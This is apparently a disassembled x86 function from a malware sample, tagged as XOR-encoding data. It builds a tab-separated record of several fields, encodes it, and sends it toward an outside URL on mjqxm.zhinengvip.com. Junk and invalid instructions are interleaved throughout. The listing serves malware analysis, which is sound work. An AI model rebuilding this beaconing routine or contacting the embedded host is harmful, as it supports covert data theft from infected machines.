Function at 0x41ff50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5a04d1
mov eax, dword fs:[0]
push eax
mov eax, 0x1d18
call fcn.00573790
mov eax, dword [0x629a40]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1d20], ecx
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x11c]
call fcn.0042a670
call fcn.00438290
test al, al
je 0x41ffb0
adc dword [edi + 0x7b692343], edi
mov edi, 0x7b692343
mov byte [0x5791c244], al
in eax, dx
cmp al, 0x63
jmp 0x420017
call fcn.00438370
test al, al
je 0x41ffd8
cli
loop 0x41ff9e
invalid
push 0x1000
lea eax, [ebp - 0x1cd4]
push 0
push eax
call fcn.00578b50
add esp, 0xc
call fcn.00438450
test al, al
je 0x420009
pop edi
div byte [esi + 0x27]
pop edi
lahf
adc eax, 0x38bdebbc
and byte [edx + 0x88d98bd], dl
xor eax, 0xe2e08d8b
invalid
mov ecx, dword [ebp - 0x1d20]
cmp dword [ecx + 0x70], 0x10
lea eax, [ecx + 0x5c]
jb 0x42001a
add cl, byte [ebx - 0x47467d00]
add byte [eax], al
add byte [eax], dl
mov eax, dword [eax]
cmp dword [ecx + 0xb8], 0x10
lea edx, [ecx + 0xa4]
jb 0x42002b
mov edx, dword [edx]
cmp dword [ecx + 0xa0], 0x10
lea esi, [ecx + 0x8c]
jb 0x42003c
mov esi, dword [esi]
add ecx, 0x44
cmp dword [ecx + 0x14], 0x10
jb 0x420047
mov ecx, dword [ecx]
lea edi, [ebp - 0x11c]
push edi
push eax
push edx
push esi
push ecx
lea eax, [ebp - 0x1cd4]
push str._s_t_s_t_s_t_s_t_s
push eax
call fcn.00401980
add esp, 0x1c
lea eax, [ebp - 0xcd4]
push 0xbb8
push 0
push eax
call fcn.00578b50
add esp, 0xc
mov dword [ebp - 0x1d20], 0xbb8
cmp byte [ebp - 0x1cd4], 0
mov dword [ebp - 0x1d24], 0xbb8
mov dword [ebp - 0x1cd8], 0xf
mov dword [ebp - 0x1cdc], 0
mov byte [ebp - 0x1cec], 0
jne 0x4200b8
xor ecx, ecx
jmp 0x4200ca
lea ecx, [ebp - 0x1cd4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4200c1
sub ecx, edx
push ecx
lea eax, [ebp - 0x1cd4]
push eax
lea ecx, [ebp - 0x1cec]
call fcn.004075c0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x1d24]
cmp dword [ebp - 0x1cd8], 0x10
lea ecx, [ebp - 0x1cec]
mov edx, dword [ebp - 0x1cdc]
cmovae ecx, dword [ebp - 0x1cec]
push eax
lea eax, [ebp - 0xcd4]
push eax
call fcn.004016e0
add esp, 8
call fcn.00437ff0
test al, al
je 0x42012e
pop esp
xchg dword [ecx - 0x3c], ecx
mov ebp, 0x87be68aa
rcr byte [ebx + 0x26f7999b], cl
jmp 0x420175
call fcn.00437ea0
test al, al
je 0x420157
pop edx
dec edx
xor ch, dl
ror byte [0x4e4b01a], 1
dec ebx
outsb dx, byte [esi]
cmp al, 0x66
shr byte [esi + 0x45], 0xcf
or eax, 0x715f8cb9
std
and byte [ebx], dl
jl 0x420137
int 0x38
and byte [ecx*4 - 0x1d1f7b], dh
call dword [eax - 0x73]
test dword [ebx + esi*8], ebp
invalid
lea eax, [ebp - 0x1d20]
push eax
lea eax, [ebp - 0xcd4]
push eax
call 0x420410
cmp byte [ebp - 0xcd4], 0
jne 0x420177
xor ecx, ecx
jmp 0x420189
lea ecx, [ebp - 0xcd4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x420180
sub ecx, edx
push ecx
lea eax, [ebp - 0xcd4]
push eax
lea ecx, [ebp - 0x1cec]
call fcn.004075c0
push dword [ebp - 0x1d20]
lea eax, [ebp - 0xcd4]
push 0
push eax
call fcn.00578b50
mov edx, dword [ebp - 0x1cdc]
lea eax, [ebp - 0x1d20]
add esp, 0xc
lea ecx, [ebp - 0x1cec]
cmp dword [ebp - 0x1cd8], 0x10
cmovae ecx, dword [ebp - 0x1cec]
push eax
lea eax, [ebp - 0xcd4]
push eax
call fcn.004016e0
add esp, 8
call fcn.00438290
test al, al
je 0x42020b
sub al, 0xf3
invalid
invalid
jp 0x420210
stosd dword es:[edi], eax
jns 0x4201b4
mov ch, 0xf8
mov ss, esp
dec ecx
popal
pop esi
cli
pop esi
jge 0x42018c
pop eax
and al, 0x18
int1
cmp ecx, ebx
pop ebp
imul edx, dword [esi], 0x31
xlatb
inc ebx
mov edx, 0x7980e872
add dword [eax], eax
call fcn.00437b90
test al, al
je 0x42022e
mov ebx, 0xf1b0dea4
stc
and byte [edx + ebx*2 - 0x11], cl
mov edi, 0xca394b60
inc esi
xor byte [edx + edi*8 - 0x42], ch
js 0x42029d
cmp eax, 0x858d4cc5
sub al, 0xf3
invalid
lea eax, [ebp - 0xcd4]
push eax
call fcn.00416ec0
call fcn.00437d50
test al, al
je 0x420258
or al, byte [edx + ecx]
imul edi, eax, 0x8990f748
jmp 0x37c5c617
call fcn.00437b20
test al, al
je 0x420277
mov al, 0x43
mov eax, dword [0x9ba5a2b5]
and dword [ecx], edx
int3
push str.https:__mjqxm.zhinengvip.com__273ec9120088392e1f5a342174546db0de52a19518a233d1
lea ecx, [ebp - 0x1d04]
call fcn.004072a0
mov byte [ebp - 4], 1
cmp byte [ebp - 0xcd4], 0
jne 0x420298
xor ecx, ecx
jmp 0x4202aa
lea ecx, [ebp - 0xcd4]
lea edx, [ecx + 1]
dec dword [ebp + 0x18a0151]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4202a1
sub ecx, edx
push ecx
lea eax, [ebp - 0xcd4]
push eax
lea ecx, [ebp - 0x1d04]
call fcn.004077f0
push 0x61b5d4
lea ecx, [ebp - 0x1d1c]
call fcn.004072a0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1d04]
cmp dword [ebp - 0x1cf0], 0x10
push 0
cmovae ecx, dword [ebp - 0x1d04]
xor edx, edx
call fcn.0040df90
add esp, 4
call fcn.00438450
test al, al
je 0x420312
mov dl, ah
dec ebx
test al, 0x4a
retf 0x93c5
call fcn.00437ea0
test al, al
je 0x42033b
invalid
call fcn.00437ab0
test al, al
je 0x420358
insd dword es:[edi], dx
wait
pop dword [ebx - 0x76]
lahf
sub al, byte [ebp - 0x55]
sahf
lodsd eax, dword [esi]
dec edx
rcr dword [edx + 0x6d554765], cl
dec edx
mov eax, dword [ebp - 0x1d08]
cmp eax, 0x10
jb 0x420376
inc eax
lea ecx, [ebp - 0x1d1c]
push eax
push dword [ebp - 0x1d1c]
call fcn.00407ab0
mov eax, dword [ebp - 0x1cf0]
mov dword [ebp - 0x1d08], 0xf
mov dword [ebp - 0x1d0c], 0
mov byte [ebp - 0x1d1c], 0
cmp eax, 0x10
jb 0x4203af
inc eax
lea ecx, [ebp - 0x1d04]
push eax
push dword [ebp - 0x1d04]
call fcn.00407ab0
mov eax, dword [ebp - 0x1cd8]
mov dword [ebp - 0x1cf0], 0xf
mov dword [ebp - 0x1cf4], 0
mov byte [ebp - 0x1d04], 0
cmp eax, 0x10
jb 0x4203e8
inc eax
lea ecx, [ebp - 0x1cec]
push eax
push dword [ebp - 0x1cec]
call fcn.00407ab0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00572ac9
mov esp, ebp
pop ebp
ret 4